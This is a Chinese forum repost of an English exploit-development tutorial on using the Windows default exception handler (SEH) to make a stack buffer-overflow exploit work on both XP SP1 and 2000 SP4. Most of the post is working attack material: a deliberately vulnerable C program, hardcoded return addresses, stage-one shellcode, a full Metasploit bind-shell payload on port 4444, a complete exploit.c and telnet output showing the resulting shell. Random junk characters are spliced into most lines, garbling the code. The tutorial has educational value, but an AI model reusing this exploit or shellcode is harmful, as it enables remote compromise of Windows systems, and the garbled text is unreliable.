QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2431|回复: 0
打印 上一主题 下一主题

Exploiting Default Exception Handler to Increase Exploit Sta

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-19 10:39 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well.0 I- p1 |- ~; W4 {

5 g2 f3 ]1 \3 ]  H[Buf] <- Shellcode: a) z9 ^; j8 F6 u; t, Q0 f
[Return Address] <- jmp register (for Windows XP sp1)
8 o2 B( p! b' H9 _3 R# s( o& n[Various Stack Data] <- Junk
0 f0 U9 V/ H; h* [+ z( F6 _# T: |% A# ^[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward/ S( M: Q; z* d3 t! A
[SE Handler] <- jmp register (for Win2k sp4)
# [) I* v$ b/ |& p/ w) U[Stage1 Shellcode] <- stage1 shellcode for win2k: A. r$ M9 _$ i. |1 B$ g7 l

# X& h' j6 d& d( wIf the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses! z8 ]1 Y/ m7 r) v- _
  _/ d6 m8 Y# H  U" v3 T
Necessary Tools:; x: e3 g/ M, z8 U. k
- OllyDBG/ `$ F% U0 ]; l  c
- C/C++ Compiler5 h0 j# X- ?' M6 R8 {
- nasm
' X* o" ?" Q: X! _6 Q/ D7 Q* _- Sac! x! E# h7 l" I  E5 t

2 x" y9 s0 k) B' a# [; wVulnerable Code:
- ^3 M, M7 c& n//lamebuf.c( n7 J$ T. s! ?. n
#include<stdio.h>
* B( Q4 ~6 U- n/ O2 F# i* O#include<string.h>
+ {. |, K, ]9 J8 q#include<windows.h>6 g" p* d: G! L( ]5 r4 c! M: `/ k
int main(int argc,char *argv[]){$ J- C9 @$ I3 a' W

6 B9 }6 _! q. U8 U# o: Gchar buf[512];, j8 A6 l- F2 U! Z
char buf1[1024]; // <- simulate a stack
; L: J5 l; X6 @/ T1 T# Z  o6 W//DebugBreak();
& W7 N, I7 V6 T  E2 }if (argc != 2){ return -1; }
  H# I. M- {& d1 k9 E& i0 D$ E2 ]1 }
1 e3 _% a7 }6 W' n3 istrcpy(buf,argv[1]);! R: s: G/ [! {' r: S  `2 E
return 0x0;
1 Y2 g. U: I% d}9 U3 X3 M, B. \7 _7 Z7 G& I$ b
, c# V( ~8 v* N' k, M" A/ I
Getting Started:; @3 L4 w" i) w6 a' ]1 {0 [6 o; g
Before writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers:
5 J1 C' U" M# d! t( k5 m  B- W8 d! W! Z7 a* ~0 K6 i# x
EAX 00000000  q4 o! W# g, C. [  X6 y# `
ECX 00321404) I: ]* q' s) P5 n/ A& X# U
EDX 00414141
, ~9 O" v3 @# ^8 v3 S" T% S, BEBX 7FFDF000" B6 o- W) _( m7 }2 ]
ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
/ Z/ t9 h8 I& A; k2 vEBP 41414141
  z& ~- o( L# M1 @- L1 G3 h" C% @ESI 77D4595F/ @" n* _1 X* S0 m3 m; `, b
EDI 77F59037 ntdll.77F59037+ H, g* V$ u" }, `
EIP 41414141* E5 ^8 b' C3 v% n( a( }$ h9 ~& n

; H/ q5 s  E* G2 @2 yLets take a look at the stack and see what happened to the default exception handler:# l1 A( ?0 O* Z, v' e
0x0012FFB0 41414141 Pointer to next SEH Record
& z( i! Y  g. n  g2 \# ^) `. r0x0012FFB4 41414141 SE Handler, {6 {7 N$ o8 `* o5 L

$ f" h, F9 ^& L* M  [We successfully overwrote the return address and the default exception handler.) t3 p, u# g' R8 w$ |/ `

/ l! q) A% M3 J6 G7 {* A! ~Primary Return Address (Windows XP SP1 EN):7 X3 k; z/ L7 }' ]8 l! q: ^
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be:
) ^7 Y2 \/ G' D5 h+ y3 o# F"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"
/ E0 w3 l$ W6 v4 d8 j# {' Q
" V- U+ K0 l7 G. j0 n1 YSecondary Return Address (Windows 2000 SP4 EN):# M# F, g; z8 F* i7 Z" e4 Q
The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:
" P3 I; _) j6 c- M3 G4 Z. s"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"4 C' b" Q7 d2 b% o9 W+ D5 Q
$ y" K5 @3 ^! K' y6 ^
Proof Of Concept:
. [5 g- B9 i6 U* @8 x, }! d. Q// exploit.c
9 G! z" n. d) F: X2 B; ~// Tal zeltzer - [Double Return] //
% U" g5 X4 f- w- }1 `% p2 _$ f, O7 e1 ^& J
#include<stdio.h>
' M1 Y5 E" j  c#include<string.h>
9 J& ]9 v9 p5 W7 Q5 Q#include<windows.h>2 i; v; d8 M$ |

5 V: d) s$ {) l2 p7 E- u#define RET_XP 0x77F8AC16 // WinXP Sp1 English - jmp esp
0 V& x* _' q; z* R5 V( c#define RET_WIN2K 0x77F92A9B // Win2k Sp4 English - jmp ebx
% x- w3 h; F7 t; C* t* W) h* h4 `$ x
// Stage1 For WinXP Sp1 English2 x- C" M" T3 _: K
unsigned char stage1_1[] = "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";
) u' H. B- M0 m+ ?6 t7 q* o
' D% p5 G, e3 I// Stage1 For Win2k Sp4 English9 A. }4 n: J2 v6 ]1 y2 E7 _
unsigned char stage1_2[] = "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1";
) f: D. L! @/ A- |  t- l0 _7 L+ x4 V1 \0 [6 C* Y
// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] _blank>http://metasploit.com
7 n- V3 L: q$ xunsigned char shellcode[] =
! Z2 O$ J4 T% B' ]2 h1 A0 W"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"# f! e# [9 W2 H/ y
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"" T# y6 F0 \2 Y, T
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"0 I9 y* m/ i( R1 z8 y
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"! Y6 P9 `+ x; d7 X8 H
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
/ b- I1 F- e8 k9 s3 F& W* x4 V( {; v: \"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"4 R" j5 |- t; T+ ?' M
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
1 V' M" r1 @$ z+ O8 q/ s"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
' D0 }# k' `2 S; ^"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"% u1 J+ c) `/ N$ ~' T* |
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
8 ^; S, _, `4 h"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"4 j! w* A1 L0 `* p, [/ G/ ?, m$ `
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
( [9 o) [6 K: t$ f: f( W) x& {* a"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"4 T* F& Z& b4 z, X; [) k: t( @, c
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"! j5 }5 D3 B- o1 T- s6 G
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
( t" a/ c8 e0 L"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
$ d% ?+ N4 g) o% g9 Z" h; P" H% h"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
# D, j; R/ q1 e" V2 y0 r"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
- v' T$ f6 N  ~5 U' M  @! {"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
0 I9 X$ j2 t* T"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"9 F6 V, m. \2 g; x
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"9 G& g5 q  C5 N) c" ]
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
4 M+ t( B0 Z( c: D6 x2 H"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"0 u4 Q  ]; T  }4 W5 e2 t
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"4 ]2 V) C& N" _6 U$ H2 r4 |
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";
: `) N2 t6 P0 n% @2 [, v
! O* n1 I+ C6 c
' ~9 g" E: q+ F5 [% q& Qint main(int argc,char *argv[]){
% f; o2 u4 x8 r' L
& I% b& ?& F+ i  g; zchar *bufExe[3];7 j6 H1 L4 [% O
char buf[2048];8 Y& F2 C) {9 f1 C# o
bufExe[0] = "lamebuf.exe";% W/ n8 q1 ^* V* _# }* y( u! w, U
bufExe[2] = NULL;
& l# ]# G- F' T4 K$ q1 V2 l  q- u5 K* P; R: [+ F$ _
memset(buf,0x0,sizeof(buf));  P: q: w& X+ b+ V) m8 c
memset(buf,0x90,1652);
# X5 g8 H- G7 t1 ~; J6 Pmemcpy(&buf[24],shellcode,sizeof(shellcode)-1);
. d* h6 V* U# t
% j# a$ V6 u* \4 k6 ]3 omemcpy(&buf[1544],&stage1_1,sizeof(stage1_1)-1); //WinXP SP1 En - Stage1 Shellcode
$ K; @, O' R+ i* H+ Bmemcpy(&buf[1592],&stage1_2,sizeof(stage1_2)-1); //Win2k SP4 En - Stage2 Shellcode& K# v- l; l: a; g/ Y& @
3 v# B0 Z# x# W& I# l
*(unsigned long *)&buf[1540] = RET_XP; // First RET (jmp esp) winXP sp1 en& h0 o/ h: h3 `
*(unsigned long *)&buf[1584] = 0xcccc06EB; // For win2k - jmp 6 bytes forward to our stage1_2 code+ Z2 R6 \2 H1 `! y
*(unsigned long *)&buf[1588] = RET_WIN2K; // Second RET (jmp ebx) win2k sp4 en9 V3 _6 o' ]9 I$ h

* I/ e" M( `- _
" t; W4 r. m& H& U9 K2 W' ]: @bufExe[1] = buf;
% I  N) ~; Y' X9 D//Execute the vulnerable application( K/ z5 _$ t' Y6 m
execve(bufExe[0],bufExe,NULL);
: \7 ^+ y9 l' C, G: w/ I- R; R
( U9 H8 {, c3 \+ sreturn 0x0;
) o" V. M+ w6 S9 G6 X& ?7 e* b7 h( Z}
6 S7 I% A6 ?; p' F! B' Z5 p/ M& r5 t/ z# q0 B4 g1 J: p9 y" z
Exploit under Windows XP SP1:! u4 n; N2 V! n% e  q: ]+ W
C:\>exploit. t* Z: I' R5 n! x) r
C:\>
8 R" r7 c, i, d( wC:\>telnet 127.0.0.1 4444
( V- X, t8 g+ z3 `, {8 F9 d- {0 x" q, J0 f. L2 r
Microsoft Windows XP [Version 5.1.2600]
" U+ D4 u! S( L0 y' u(C) Copyright 1985-2001 Microsoft Corp.
7 Y! Z4 P" \/ r2 a
$ f! _6 k) W7 @6 G, oC:\>+ l4 r% W" R9 W

! M' s7 V7 s/ o; i: vExploit under Windows 2000 SP4:. z3 C7 r# T" H! V; H
C:\>exploit
9 G2 q# A# f0 c; C1 T8 LC:\>
% P7 i6 k/ r/ A- |3 N0 W; iC:\>telnet 127.0.0.1 4444
3 m) ]  y. f% y) d' N8 O7 ]8 y& k+ O; Q5 L
Microsoft Windows 2000 [Version 5.00.2195]
1 G1 L  w+ D( q(C) Copyright 1985-2000 Microsoft Corp.
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-8-19 07:33 , Processed in 0.443555 second(s), 51 queries .

回顶部